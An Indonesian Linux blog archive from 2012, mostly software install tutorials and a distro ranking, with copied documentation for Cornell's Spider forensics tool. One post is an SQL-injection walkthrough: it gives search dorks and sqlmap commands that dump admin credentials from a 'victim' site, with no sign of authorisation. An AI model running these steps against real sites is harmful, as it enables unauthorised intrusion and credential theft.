Thursday, September 13, 2012

Install Stellarium 0.11.4 di Ubuntu 12.04/Linux Mint 13 Via PPA


 stellarium 0.11.4
Stellarium versi terbaru yaitu versi 0.11.4 telah diperbaharui beberapa waktu yang lalu dan membawa banyak fitur dan perbaikan pada versi ini. Stellarium adalah program planetarium yang menggunakan OpenGL untuk menampilkan gambar 3D dari penampakan sebuah langit, planet, bintang, nebula, dan rasi bintang dan memungkinkan untuk mensimulasikan matahari terbit dan terbenam.

Berikut ini adalah beberapa fitur baru dalam rilis ini:
  • New plugin: Exoplanets dan Observability analysis
  • Mendapatkan geometric altitude dan azimuth untuk script engine
  • Sky image loading dengan altitude/azimuth coordinates
  • Hotkey baru untuk label nama bintang
  • Pilihan mengaktifkan/ menonaktifkan tombol gambar background Nebula melalui GUI
  • Kembali ke pengguna set location dan lanscape
  • Menampilkan derajat dan menit dari CCD ke FOV
  • Penambahan semua satelit yang memungkinkan
  • Menerapkan efek atmosfer hanya pada bodies dengan atmosfer
Untuk menginstall Stellarium versi terbaru pada Ubuntu 12.04/ Linux Mint 13, buka terminal dan jalankan perintah berikut:

sudo add-apt-repository ppa:stellarium/daily
sudo apt-get update
sudo apt-get install stellarium

 stellarium 0.11.4

Atau Anda ingin menginstall secara manual dengan perintah di bawah ini:
Untuk sistem 32-bit:

cd /tmp
wget -O stellarium-0.11.4_i386.deb http://goo.gl/yzNTy
sudo dpkg -i stellarium-0.11.4_i386.deb

Untuk sistem 64-bit

cd /tmp
wget -O stellarium-0.11.4_amd64.deb http://goo.gl/c7FP6
sudo dpkg -i stellarium-0.11.4_amd64.deb

Anda dapat mendownload stellarium di sini.

Selamat menyaksikan keindahan langit secara 3D di komputer Anda.

Install Icon Prophet 13 di Ubuntu 12.04/11.10/Linux Mint 13


 prophet-icon-13

Baiklah sobst Smile, pada posting ini SmilePedia akan memberikan tutorial menginstall icon Prophet 13 di Ubuntu/Linux Mint yang merupakan icon 3D. Icon ini sangat menarik dan indah dipandang mata. Tema icon ini juga kompatibel dengan beberapa desktop environmet berikut:
  • Unity
  • Gnome Shell
  • Gnome 3
  • Xfce
Ini adalah contoh screenshot dari icon Prophet 13.

 prophet-icon-13


 prophet-icon-13

Cara Install
Jika Anda ingin menginstall icon Prophet 13 ini pada Ubuntu 12.10/12.04/11.10 atau Linux Mint 13, jalankan perintah berikut dari terminal:

sudo add-apt-repository ppa:upubuntu-com/icons
sudo apt-get update
sudo apt-get install propheticon13

Anda dapat menggunakan salah satu program favorit Anda (Ubuntu Tweak Tool, MyUnity, dll) untuk mengaktifkan tema icon ini, atau menggunakan perintah ini pada terminal:

gsettings set org.gnome.desktop.interface icon-theme 'ProphetIcon13'

Jika Anda ingin mendownloadnya, kunjungi halaman ini.

Nah itu tadi cara menginstall icon Prophet 13 pada Ubuntu 12.10/12.04/11.10 atau Linux Mint 13.

Cara Mengubah Tampilan GRUB yang Membosankan



Bosan dengan tampilan GRUB yang monoton? Kali ini SmilePedia akan menuntukkan trik menarik yang bisa Anda coba yaitu cara mengubah tampilan GRUB menggunakan gambar sendiri. Secara default, tampilan GRUB hanya menggunakan latar berwarna ungu gelap dan itu sangat membosankan menurut saya. Jika Anda ingin menggantinya, ada cara praktis yang bisa digunakan, cukup melalui perintah pada terminal dan pastikan bahwa Anda terhubung dengan internet ketika mengikuti panduan ini.
Pertama, Anda harus menginstal paket tambahan yaitu grub2-splashimages. Caranya, buka terminal dan ketikkan perintah ini:

sudo apt-get install grub2-splashimages

grub2-splashimages

Kedua, Instalasi tadi akan menempatkan Grub Splash Images pada folder /usr/share/images/grub. Untuk membuka folder ini, jalankan perintah berikut pada terminal:

sudo nautilus /usr/share/images/grub

Ketiga, memilih gambar yang Anda kehendaki untuk dijadikan background GRUB. Pada folder tersebut terdapat gambar yang bisa dijadikan background pada GRUB. Anda bisa memilih salah satunya atau memakai gambar sendiri. Namun syarat gambar harus menggunakan ekstensi TGA. Jangan lupa untuk menempatkan file gambar pada folder tersebut.

 merubah-tampilan-grub

(Catatan: jika Anda tidak mempunyai software converter untuk meng-convert gambar menjadi TGA, baca artikel Install FF Multi Converter di Ubuntu)

Keempat, cara mengganti gambar background GRUB. Setelah menentukan gambar yang dipilih, buka file GRUB2 boot loader dan tambahkan beberapa script. Caranya dengan menjalankan perintah berikut:

sudo gedit /etc/default/grub

Setelah jendela gedit terbuka maka tambahkan sedikit script berikut ini di baris paling bawah.

GRUB_BACKGROUND=/usr/share/images/grub/NAMA_GAMBAR.tga

Ganti kata 'NAMA GAMBAR.tga' dengan nama gambar yang Anda gunakan. Setelah selesai, simpan dan tutup jendela gedit.

 merubah-tampilan-grub

Kelima, lakukan update GRUB. Untuk mengupdate GRUB yang telah Anda ganti sebelumnya gunakan perintah ini:

sudo update-grub2

 update-grub2

Setelah semuanya selesai, lakukan restart pada komputer Anda dan lihat perubahannya. Maka, tambilan background GRUB Anda sudah berubah menjadi gambar yang Anda inginkan dan tidak membosankan.

Cara Install Wine 1.5.11 di Ubuntu 12.04/Linux Mint 13



Wine adalah aplikasi yang memungkinkan Anda untuk menjalankan software Windows pada sistem operasi Ubuntu. Dengan wine, Anda dapat menginstal dan menjalankan aplikasi .exe seperti halnya di Windows.
Wine juga memungkinkan pengguna Linux, Mac, FreeBSD, Solaris untuk menjalankan aplikasi Windows.

Yang baru di versi ini:
  • Dukungan untuk menonaktifkan joystick individu
  • Dukungan untuk D3DX9 yang lebih baik
  • Beberapa berbaikan xrandr
  • Beberapa perbaikan bug

sudo add-apt-repository ppa:ubuntu-wine/ppa
sudo apt-get update
sudo apt-get install wine1.5
sudo apt-get install winetricks

Atau menggunakan Synaptic, setelah menambahkan PPA anda tinggal mengetikkan kata 'wine' di kotak search kemudian update.

 wine-1.5.11

 wine-1.5.11

Anda dapat mendownload source dari Wine 1.5.12 untuk distro lain di Source Forge.
Sekian saja semoga bermanfaat.

Memutar Musik Lewat Terminal dengan MOC (Music on Console)


moc

MOC (Music on Console) adalah audio player untuk konsol Linux/ Unix yang dirancang secara powerful dan mudah digunakan. Anda hanya perlu memilih file dari beberapa direktori menggunakan menu yang mirip dengan Midnight Commander. MOC akan memainkan semua file dalam direktori dari file yang Anda pilih.
Jika Anda ingin menggabungkan beberapa file dalam beberapa direktori ke satu playlist, Anda juga dapat melakukan hal tersebut. Playlist yang sudah Anda buat juga dapat Anda simpan sehingga Anda dapat menggunakannya lagi kapanpun Anda mau.

Cara menginstall MOC di Ubuntu juga sangat mudah hanya tinggal menjalankan perintah berikut pada terminal:

sudo apt-get install moc

Untuk menjalankan MOC, gunakan perintah berikut:

mocp

moc

Tekan tombol 'h' untuk melihat shortcut yang digunakan untuk melakukan aktivitas di MOC.

moc

Nah, selamat bersantai dengan musikmu.

Dukungan 'Search in Google' di Terminal - Ubuntu 12.04


 google-search-in-terminal

Pada kesempatan kali ini SmilePedia akan menunjukkan sedikit tutorial kepada Anda mengenai bagaimana untuk menambahkan 'Search in Google' pada teks di terminal yang sudah diseleksi/ diblok. Ini adalah ide yang didapat dari Ubuntu-tweak-blog. Tapi Ubuntu Tweak telah berubah banyak, dan saya tidak dapat menemukan fitur ini dari Ubuntu 12.04. Untungnya, Tualatrix Chou menyediakan paket dalam PPA pribadinya.


Install Gnome Terminal dengan dukungan Google Search.

PPA yang tersedia ini mendukung Ubuntu 12.04, 11.10, 11.04, 10.10, dan 10.04. Namun PPA memperingatkan untuk menginstall dengan risiko Anda tanggung sendiri. Untuk menginstalnya Anda lakukan dari Teminal dengan menjalankan perintah berikut:

sudo add-apt-repository ppa:tualatrix/personal

 google-search-in-terminal

Setelah PPA terpasang maka lakukan update dan install dengan perintah berikut ini:

sudo apt-get update && sudo apt-get install gnome-terminal

 google-search-in-terminal

Nah sekarang fitur 'Search in Google' sudah bisa Anda gunakan.

Cara Install LibreOffice 3.6.1 di Ubuntu 12.04/Linux Mint 13


 libreoffice-3.6.1

LibreOffice adalah power-packed yang bebas serta terbuka dan tersedia untuk Windows, Machintosh, dan GNU/ Linux, yang memberikan Anda 6 fitur yang kaya dengan aplikasi untuk semua produksi dokumen Anda dan kebutuhan pengolahan data antaralain, Writer, Calc, Impress, Draw, Math, dan Base. Nah, pada saat ini LibreOffice versi 3.6.1 sudah tersedia untuk di-download dan di-install di komputer Anda. Pada tutorial kali ini, SmilePedia akan membahas cara menginstall LibreOffice 3.6.1 di Ubuntu 12.04 via PPA.

Beberapa fitur yang Anda dapatkan pada versi ini yaitu:
  • Dukungan untuk skala warna dan bar data.
  • Import dari .xlsx dan import/export dari dan menjadi .ods pada ODF 1.2 (extended).
  • Penambahan Word Count pada status bar.
  • PDF export dengan watermark option.
  • 10 new Impress master page.
  • Dukungan untuk mengimpor Office SmartArt.
  • Import Filter untuk dokumen Corel Draw.
Install LibreOffice 3.6.1
Untuk penginstalan LibreOffice versi ini, dapat Anda lakukan melalui terminal dengan menjalankan perintah berikut.

sudo add-apt-repository ppa:libreoffice/ppa
sudo apt-get update
sudo apt-get install libreoffice libreoffice-gnome

 libreoffice-3.6.1

 libreoffice-3.6.1


Atau Anda ingin mendownloadnya, kunjungi halaman ini.
Nah, segera selesaikan pekerjaan Anda.

Menginstall Tema GTK3 Swar Black-Base Orange di Ubuntu 12.04/Linux Mint 13


 swar-black-base-orange

Swar Black-Base Orange adalah sebuah tema GTK3 yang elegan dan menggunakan kombinasi yang mencolok, yaitu warna hitam dan oranye. Tema ini dapat diaktifkan pada Unity dan Gnome Shell. Pada artikel kali ini SmilePedia akan memberikan sedikit tutorial bagaimana cara menginstall tema ini pada Ubuntu 12.04/Linux Mint 13.
Tema ini juga dapat diinstall pada Ubuntu 12.10/12.04/11.10 atau Linux Mint 13 (Maya), Untuk menginstal tema ini Anda buka terminal dan jalankan perintah berikut ini:

sudo add-apt-repository ppa:upubuntu-com/gtk3
sudo apt-get update
sudo apt-get install sway-black-orange

 swar-black-base-orange

Anda dapat menggunakan Gnome Tweak Tool atau tool yang lain untuk mengaktifkan tema ini, atau gunakan dua perintah di bawah ini:

gsettings set org.gnome.desktop.interface gtk-theme 'Sway Black-Base ORANGE'
gconftool-2 --set --type string /apps/metacity/general/theme 'Sway Black-Base ORANGE'

Selamat menikmati tema baru Anda.

Install VirtualBox Terbaru di Ubuntu 12.04/Linux Mint 13


 virtualbox

Oracle VM VirtualBox adalah sebuah paket perangkat lunak virtualisasi x86 yang dibuat oleh perusahaan software innotek GmbH, dibeli oleh Sun Microsystem, dan sekarang dikembangkan oleh Oracle Corporation. Oracle VM VirtualBox diinstal pada sistem operasi host yang ada sebagai aplikasi, aplikasi host ini yang ada sebagai aplikasi, aplikasi host ini memungkinkan sistem operasi guest tambahan yang masing-masing disebut sebagai OS guest yang akan dijalankan. Masing-masing OS guest berjalan dengan lingkungan virtualnya sendiri.
Untuk menginstal VirtualBox versi terbaru Anda dapat menggunakan perintah berikut pada terminal:

echo "deb http://download.virtualbox.org/virtualbox/debian $(lsb_release -sc) contrib" | sudo tee /etc/apt/sources.list.d/virtualbox.list
wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get install virtualbox-4.1

 virtualbox

Untuk Distro yang lain silahkan download dari linux-spider.blogspot.com

Ubuntu] Cara Instal Virtual Box di Ubuntu


Install VirtualBox di Ubuntu
Hello guys...Tau kan apa itu Virtual Box? Bagi Anda yang belum tau silahkan baca sedikit mengenai Virtual Box.
Virtual Box adalah sebuah software yang didistribusaikan oleh Oracle dan digunakan untuk mensimulasikan beberapa Sistem Operasi lain di Sistem Operasi utama. Dengan software ini Anda dapat menggunakan Sistem Operasi apapun dalam sistem operasi utama Anda.

Anda dapat mendownload Virtual Box terbaru di sini..
Setelah Anda masuk ke halaman situs pilih platform yang sesuai, dalam tutorial ini karena menggunakan OS Ubuntu maka saya pilih Virtual Box for Linux Host. 


Setelah masuk ke halaman selanjutnya silahkan Anda pilih yang sesuai dengan versi Sistem Operasi yang Anda gunakan. Karena saya menggunakan OS Ubuntu 12.04 32-bit maka saya pilih Ubuntu 12.04 LTS ("Precise Pangolin") i386 seperti pada gambar.


Setelah selesai Anda download maka instal dengan langkah-langkah berikut:

1. Pergi ke Folder Downloads dengan menjalankan  perintah "cd Downloads" pada terminal tanpa tanda petik. Kemudian ketik "ls" untuk melihat isi folder download.


Pada tutorial di atas saya menggunakan perintah berikut pada terminal untuk menginstal file .deb Virtual Box sesuai nama file yang terlihat pada gambar di atas:

sudo dpkg-i virtualbox-4.1_4.1.18-78361~Ubuntu~precise_i386.deb

Tunggu hingga proses instalasi selesai dan Virtual Box Anda telah terintal dengan baik.

10 Klasifikasi Distro linux terbaik Tahun 2011


Kompatibilitas hardware, kemudahan penggunaan, dukungan repositori perangkat lunak. Ketiga atribut ini mutlak harus ada dalam setiap distro linux. Hal ini menciptakan situasi yang agak unik, di mana ide-ide developer cepat menyebar. Dan sebagai hasilnya, ada puluhan distribusi update setiap bulan, ratusan setiap tahun, berlomba-lomba untuk menjadi urutan teratas di DistroWatch.com.
Inilah sebabnya mengapa jawaban atas pertanyaan apa distribusi yang terbaik untuk penggunaan user selalu berubah sesuai dengan perkembangannya. Berikut ini adalah sebuah rekomendasi kami, untuk tahun 2011. cobalah sendiri, semuanya GRATIS!
1. Distro terbaik untuk pemula: Ubuntu 11.04

Kita harus mengakui bahwa Ubuntu ada dimana-mana, Ubuntu masih teratas untuk Distro terbaik pengguna pemula. Rilis terbarunya dari Ubuntu cukup asing di kalangan user, Hal ini disebabkan tim Ubuntu mengganti desktop lama dengan sesuatu yang baru. Unity, dengan anggapan akan lebih cepat berpindah antar applikasi dan manajemen file.
Tetapi ada dua alasan mengapa Ubuntu masih merupakan pilihan yang fantastis untuk pemula – kompatibilitas hardware dan kemudahan instalasi. Ubuntu masih menawarkan salah satu desktop terbaik, sebuah repositori perangkat lunak tak tertandingi, kemudahan instalasi perangkat lunak proprietary seperti Flash dan driver Nvidia, dan menggabungkan salah satu komunitas terbesar di internet. Ubuntu adalah juaranya.

2. Distro terbaik untuk pengguna advance : Fedora 15

Fedora menawarkan banyak keuntungan yang sama dari Ubuntu seperti dukungan hardware yang baik, desktop halus dan pilihan paket luar biasa. rilis terbaru Fedora 15 adalah distribusi besar pertama yang menggunakan Gnome baru – Gnome Shell. Seperti Persatuan Ubuntu-Unity, Shell adalah upaya untuk mengubah harapan orang tentang seperti apa desktop Linux harus terlihat. dengan pendekatan desktop seperti animasi transisi, launcher dll.
Fedora bukan distribusi ideal jika user mencari perangkat lunak berpemilik dan tertutup. Codec MP3, Adobe Flash dan driver Nvidiatidak mudah untuk diinstal. Sebaliknya, jika anda akan ingin tetap menggunakan Fedora, maka buatlah Fedora sesuai dengan keinginan anda sendiri. dengan memanfaatkan shared library dan kernel header standart.
3. Distro terbaik untuk kustomisasi: Arch

Dalam dua bulan terakhir Distribusi Arch menanjak drastis, saat Instalasi, ada menu berbasis teks yang sedikit untuk membantu melakukan partisi drive, mengkonfigurasi perangkat nirkabel, menginstal paket atau bahkan membuat pengguna default. Bahkan setelah instalasi telah selesai, Anda perlu untuk mengkonfigurasi lingkungan grafis anda sendiri serta menambahkan setiap aplikasi yang mungkin Anda butuhkan.
Tapi hasil sangat sepadan. Anda akan memiliki instalasi Linux yang berjalan hanya apa yang Anda butuhkan, dan Anda akan belajar banyak tentang bagaimana proses tersebut berjalan. Ini sebagian besar berkat Wiki Arch, sebuah repositori informasi yang luas yang ditulis dengan baik yang dapat digunakan untuk memungkinkan bahkan pemula Linux untuk menginstal sistem operasi.
Manajemen paket Arch juga sangat layak. Tidak ada upgrade besar setiap enam bulan. Sebaliknya, paket diperbarui ketika mereka dirilis, selalu memberikan versi paling terakhir dari semua yang anda instal. Hasil akhirnya adalah distribusi canggih yang cepat, dikonfigurasi dan dibangun sepenuhnya untuk kebutuhan anda.
4. Distro terbaik untuk hardware lama: Puppy Linux 5.2.5

Kekuatan besar Linux adalah fleksibilitas. Akibatnya kita harus membuat pilihan yang baik untuk perangkat keras lama. Tidak seperti beberapa sistem operasi lain. Ada banyak distribusi yang akan membawa perangkat lunak terbaru, kernel terbaru dan driver terbaru, dan membangun mereka menjadi distribusi disesuaikan untuk masa sekarang. Yang terbaik dari klasifikasi ini adalah Puppy . OS ini hanya membutuh ISO 128MB yang di burn ke CD dan boot. dan tentang versi 5 adalah bahwa sekarang Puppy menggunakan repositori paket yang sama dengan Ubuntu. Ini memberi Anda akses langsung ke ribuan paket yang paling populer dari seluruh dunia. menarik bukan?
5. Distro terbaik untuk desktop Anda: Linux Mint 11

Hal yang telah berubah dalam hirarki distro Linux. Dengan beralihnya Ubuntu ke Unity dan Fedora ke Gnome Shell, sekarang ada ruang untuk distribusi kelas pertama Gnome yang sudah familiar di kalangan user. Itulah sebabnya Linux Mint 11 terbaik untuk desktop, meskipun perubahan terus-menerus dilakukan untuk opsi default dari desktop lama.
Versi 11 melakukan upgrade yang solid, dengan menambahkan manajemen perangkat lunak dan banyak perbaikan seni lainnya. Jika Anda menggunakan banyak aplikasi dan datang dari latar belakang Windows, Mint menawarkan versi besar Gnome 2 desktop, dan tidak seperti Unity atau Gnome Shell, tidak akan memerlukan waktu lama lagi untuk menyesuaikan.
Di samping paket luar biasa Ubuntu, Mint termasuk cukup untuk berdiri sendiri. berkat Compiz dan pengaturan panel desktop yang tertanam dalam aplikasi Pusat Kontrol custom yang tumbuh dengan setiap rilis. Hasil akhirnya Mint adalah sebuah distribusi yang berdiri terdepan sebagai pesaing ubuntu untuk pengguna desktop.
6. Distro terbaik untuk netbook: Jolicloud 1.2

Sepertinya tidak lama lagi kita akan masuk ke era cloud computing. Jolicloud adalah distribusi yang tidak biasa karena berhasil menjembatani kesenjangan antara aplikasi lokal dan aplikasi online dengan menciptakan antarmuka desktop sendiri. Hal ini dilakukan dengan menghubungkan account pengguna lokal Anda ke salah satu di server Jolicloud, yang kemudian digunakan untuk mengelola aplikasi dan data seperti Dropbox dan Google Docs.
Anda dapat menginstal pengolah kata, alat media seperti VLC, permainan dan banyak aplikasi lainnya. menggunakan rancangan Desktop yang cerdik untuk menyembunyikan browser custom saat itu berjalan, sehingga Anda tidak dapat dengan mudah membedakan antara mengedit melalui Google doc online atau menggunakan OpenOffice.org Writer. Melalui ekstensi Google Chrome yang bisa mengubah Jolicloud menjadi sebuah aplikasi dalam browser Anda. wow!
7. Distro terbaik untuk sys admin: Debian 6.0.1

Debian telah menjadi kakek dari gelombang baru Linux. Ubuntu, awalnya didasarkan pada Debian, telah mewarisi banyak kekuatan, termasuk format paket, lebarnya paket, file konfigurasi dan lokasi.
Dan sebagai hasilnya, Ubuntu memiliki turunan sendiri, termasuk Mint, Crunchbang dan gOS. Ini memberikan keuntungan besar Debian. Ini akan menjadikan jutaan user mudah akrab menggunakannya. Dan untuk alasan itu, Debian adalah pilihan yang sempurna untuk administrator sistem yang telah menggunakan salah satu turunannya.
Versi 6 ini rilis sedikit lebih lama dari yang direncanakan, tapi akhirnya dirilis pada bulan Februari. Ini didasarkan pada apa yang disempurnakan untuk perangkat Anda sendiri, utilitas dan solusi, dan memungkinkan Anda untuk menginstal hampir apapun yang Anda butuhkan melalui manajer paket.
8. Distro terbaik untuk kantor: OpenSUSE 11.4

Ini adalah distribusi dalam daftar klasifikasi ini yang menggunakan desktop KDE secara default, dan OpenSuse telah memilih KDE untuk alasan yang baik: karena desktop ini paling akrab di lingkungan kantor.
KDE sering disamakan dengan Windows.
Hal ini juga membantu bahwa Novell dan Attachmate tetap membuat kontribusi yang signifikan terhadap open source, terutama sekarang bahwa OpenOffice.org tidak lagi relevan. dan LibreOffice telah mengambil tempatnya. itu tidak jelas apa yang mungkin berarti bagi masa depan dimasukkan dalam OpenSUSE. Berkat hubungan yang kuat dengan Microsoft, OpenSUSE masih merupakan pilihan besar jika kantor Anda perlu untuk bekerja dengan Office.
9. Distro terbaik untuk server: CentOS 5.6

Red Hat Enterprise Linux (RHEL) hampir tak tersentuh di pasar bisnis. ini adalah daerah yang paling menguntungkan dan didukung ekosistem Linux, dan seperti yang Anda duga, itu mahal. Ini hanya tersedia jika Anda bersedia membayar untuk dukungan, layanan dan upgrade, dengan harga yang diluar jangkauan.
Tapi RHEL masih open source, Yang mana CentOS masuk dan mengubah kode sumber dan membangun kembali RHEL dalam fitur sendiri untuk setiap rilis.cukup kompatibel dengan pihak ketiga paket RHEL, dan merupakan pilihan terbaik untuk proyek-proyek online yang didukung oleh RHEL.
Versi 5.5 dirilis pada Mei, kurang dari dua bulan setelah rilis RHEL. Anda mendapatkan paket yang sama, perbaikan yang sama, Gnome desktop dan aplikasi yang sama. Satu-satunya hal yang hilang adalah dukungan, tetapi komunitas CentOS sudah sangat aktif, dan selalu ada yang membantu, membuat CentOS-satu-satunya pilihan untuk dunia nyata dengan kinerja terbaik dan hampir tanpa biaya. Perbedaan nyata antara CentOS dan RHEL logo dan tema desktop.
10. Distro terbaik untuk multimedia: Ubuntu Studio 11.04

Linux memiliki ribuan judul perangkat lunak kreatif, tetapi distribusi standart tidak selalu support platform untuk menggunakannya. Hal ini terutama dari software musik, yang membutuhkan sebuah kernel yang dikonfigurasi secara khusus untuk bekerja dengan baik. Mengatur distribusi anda setiap hari untuk mengakomodasi perubahan tersebut tidak mudah, itulah sebabnya mengapa ada banyak distribusi yang mencoba untuk melakukan pekerjaan untuk Anda.
Yang terbaik adalah Ubuntu Studio . Distro Ini dirancang untuk musik dan audio, tetapi Anda dapat menginstal apapun dari repositori Ubuntu standar. Berkat kernel realtime, latency low audio , dan tidak perlu khawatir memiliki masalah menjalankan aplikasi sumber daya berat seperti The Gimp saat meload gambar besar.
Pengembang telah memilih aplikasi kreatif untuk menginstal secara default, termasuk audio, video dan editor grafis dan desktop. Versi terbaru, misalnya,berkapasitas 1.5GB DVD image, dan instalasi dari ini dapat menghemat banyak waktu. hal terbaik tentang distribusi ini adalah sesuatu yang bernama ‘Jack’ dengan latency rendah sebagai lapisan audio yang dapat mengubah desktop Linux Anda menjadi sebuah studio rekaman virtual. Lupakan kompleksitas membangun studio musik bekerja sendiri. Hanya menjalankan Ubuntu Studio dan mulailah merekam.

Wednesday, September 12, 2012

Talent does what it can, genius does what it must.

Menembus database website vulner SQL-Injection

Suatu waktu disaat sedang browsing website-website, ada keinginan belajar hacking sebuah situs web. alhasil googling belajar sana sini mencari tutorial SQL-Injection banyak beragam macam cara. Salah satu nya adalah dengan menggunakan tools sqlmap di backtrack 5.
Berikut ini saya mencoba belajar menembus database website dengan menggunakan tools sqlmap di backtrack 5 :
Mencari celah SQL-Injection website si korban dengan menggunakan Dork Sql Injection
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:news.php?news=
hasilnya saya mendapatkan sebuah celah di website
/root]─> http://sikorban.com/news.php?news=212
Buka tools sqlmap dengan cara
/root]─> Application - Backtrack - Exploitation Tools - Web Exploitation Tools - sqlmap
Ikuti perintah penggunnaan tools slmap di terminal/konsole, untuk mencari databaste website sikorban
/root]─> python sqlmap.py -u http://sikorban.com/news.php?news=212 --dbs
  -u     = url sikorban
- -dbs = mencari database website
setelah ketemu database nya sikorban lanjutkan dengan mencari tables yg berada dalam database
/root]─> python sqlmap.py -u http://sikorban.com/news.php?news=212 -D sikorban –tables
-D = database yg sudah ditemukan
- -tables = untuk membuka isi database dalam tables
isi tables telah ditemukan, selanjutnya saya mencari isi dari tables itu  misalkan tables admin
/root]─> python sqlmap.py http://sikorban.com/news.php?news=212 -D sikorban -T admin --columns
-D = database yg  sudah ditemukan
-T = isi tables
- -columns = untuk membuka isi tables dalam columns
selanjutnya saya extract columns tersebut dengan menggunakan perintah di terminal/konsole
/root]─> python sqlmap.py http://sikorban.com/news.php?news=212 -D sikorban -T admin -C no,pwd,status,uid --dump
-D = database yg  sudah ditemukan
-T = isi tables
-C = untuk membuka isi columns
- -dump = menyimpan hasil file yg ditemukan, file tersebut berada di /pentest/database/sqlmap/output/sikorban.com
setelah belajar berbulan-bulan akhirnya berhasil juga mendapatkan userid passwd untuk masuk ke halaman panel login.
+————–+—-+——————+——–+
|  uid                 | no | pwd                       | status |
+————–+—-+——————+——–+
| sikorban1     | 1     | admin1235321  |   A       |
| sikorban2     | 4     | tes23tes              |   I        |
+———— -+—–+——————+——-+

Build a Web spider on Linux

Biological motivation
When you think of a spider in nature, you think of it in its interactions with an environment, not in isolation. The spider sees and feels its way around, moving from one place to another in a meaningful way. Web spiders operate in a similar way. A Web spider is a program written in a high-level language. It interacts with its environment through the use of networking protocols, such as the Hypertext Transfer Protocol (HTTP) for the Web. If your spider wants to communicate with you, it can use the Simple Mail Transfer Protocol (SMTP) to send an e-mail message.
Spiders aren't limited to HTTP or SMTP, though. Some spiders use Web services, such as SOAP or the Extensible Markup Language Remote Procedure Call (XML-RPC) protocol. Other spiders scour newsgroups with the Network News Transfer Protocol (NNTP) or look for interesting news items in Really Simple Syndication (RSS) feeds. While most spiders in nature can see only light-dark intensity and movement changes, Web spiders can see and feel using many types of protocols.
http://www.ibm.com/developerworks/library/l-spider/index.html

MS-DOS Software


4Bestsoft File Recovery For Mac 4Bestsoft File Recovery For Mac is a comprehensive Mac data recovery software to recover Mac data lost due to accidental deleting, formatting, virus infection, improper operation, unexpected power failure, and other unknown reasons. It contains the major functions of 4Bestsoft Data Recovery For...

http://www.filetransit.com/category.php?id=316

Security :: Cornell Spider - Linux

Spider is an open source network forensics tool developed at Cornell University to identify the presence of sensitive information on a computer or attached storage device.
It is designed to recursively process a mounted volume, searching files for a limited set of regular expressions. Because of the need to protect that specific data and because the numeric format lends itself well to accurate matching, the default regular expressions focus on social security numbers and credit card numbers. Other data, such as driver's license numbers, dates of birth, telephone numbers, and the like are frequently present on disk but are not in and of themselves protected data. Spider will generate false positives, so users should make every effort to verify or otherwise Spider's results before moving, encrypting, or deleting files. Spider's logs can function as a roadmap to confidential data and must be stored securely.
The four basic components are (in /usr/local/cornell/spider in Cornell's Helix distro):
  • spider_server.pl: the spider collector process that receives matches from Spider clients and records them to its log file
  • spider-4.0.pl: the Spider client, responsible for processing files
  • spider.conf: the configuration file used by both the client and server. It contains the shared secret, path to the log file written by spider_server, path to the regular expressions file, and a few other configuration parameters
  • REGEXES: the list of regular expressions to use
The default configuration will encrypt all traffic between the Spider client and server and use an MD5 hash of each packet to ensure the data is received intact and undamaged. Spider_server listens on UDP port 3000 for incoming client messages, processes them, and writes them to the log file.

What You Need

Perl 5.6.1 or higher with the following modules:
  • MD5
  • SHA1
  • Crypt:CBC and Crypt::Blowfish
  • Config::IniFiles
  • File::LibMagic
  • File::Path
  • Archive::Zip
Any or all of the following auxiliary programs:
  • file
  • wvText (for converting Word docs to text)
  • unzip
  • unrar
  • lha
  • unzoo
  • arj
  • readpst
The software can be downloaded at the Cornell University website.

Getting Started

It is only necessary to start the server once, either on the Helix instance used for examination or on a central Spider log host:
/usr/local/cornell/spider/spider_server.pl
Spider_server will print its configuration then background itself.

Security Notes

Spider uses an encryption and integrity checking mechanism intended to prevent the eavesdropping of results on the local LAN. The protocol should be sufficiently sound to prevent disclosure in a low threat environment. Captured Spider sessions can be decrypted after the fact if the shared secret itself is reused or disclosed, so every effort should be made to protect Spider's key when it's used outside the local machine.
Spider serves to select and concentrate sensitive data in the log file. That file exists in a RAM disk under Helix, but may not when operating under other systems. The log file should be securely recorded to removable media and stored safely. Once this is done, the log file should be wiped with a disk wiping utility of known and reliable behavior.

Scanning

Normal Spider behavior is to recursively scan directories and process all readable files. Files of certain types, including binary graphics data, RPMs and executables, are not processed as they yield very high false positive rates. Every effort is made to deal with Unicode, Office file formats, PDFs, mailboxes, and the like. Spider_server's log file begins with "GIF89a" deliberately to cause Spider to skip processing that file, should circumstances dictate it be in the examination tree.
Default arguments to Spider are generally sufficient:
/usr/local/cornell/spider/spider-4a.0.pl -D /path/to/mount
Spider can be fairly verbose, and will report files under examination.

The Spider log file

The Spider log file records the IP address of the Spider client making the report (localhost in most cases), the path to the file being examined, the regular expression that caused the match, and roughly 1K of human-readable text in which the match was found.
False positives are not uncommon, as many strings are likely to match SSN or credit card account number patterns. Visual inspection of the Spider log file is necessary as a final step in order to determine whether or not sensitive data is present and to what degree.

Spider_server command line options

-c <file>
read configuration from <file> instead of /usr/local/cornell/spider/spider.conf
-l <log>
write to log; path in spider.conf supersedes this option
-r <regexes>
read regular expressions from regexes; path in spider.conf supersedes this option
-v
[verbose] will cause spider to be excessively chatty in its operation. Also nullifies the default behavior of Spider to only report the first match in a file
-u
[unscrew] will cause Spider to recursively process directories, converting Windows filename convention to UNIX filename convention. This is NOT forensically sound as it requires modifying the evidence drive, can be extremely destructive to production systems, and makes post-examination followup difficult. It is also unnecessary 99% of the time with Spider 4.0
-T
[test] will cause Spider to compile the regular expressions in the file specified by spider.conf and report any syntactical errors
-D <dir>
will cause Spider to begin processing at directory <dir>
-S
[show] will print the regular expressions in the file specified in spider.conf
-c <config>
will cause Spider to use <config> as its configuration file instead of /usr/local/cornell/spider/spider.conf

Spider.conf options

The spider.conf configuration file consists of a series of keyword/value pairs delimited by equals ("=") characters. Pound ("#") signs anywhere on a line are considered comments and are ignored. Keywords are case insensitive.
Definable options are as follows:
Logfile (path) path to spider_server's record of incoming pattern matches; defaults to /tmp/logfile.IP where "IP" will be replaced by the Spider client IP address
Regexes (path) path to Spider's regular expressions file. Be aware that overzealous regular expressions slow Spider considerably and result in higher false positive rates.
Use_hmac (0|1) determines whether Spider will prefix each packet with an MD5 of the payload. Default is 1, which allows Spider to detect decryption errors or tampering.
Hmac (md5|sha1) determines which hashing algorithm will be used for integrity checking
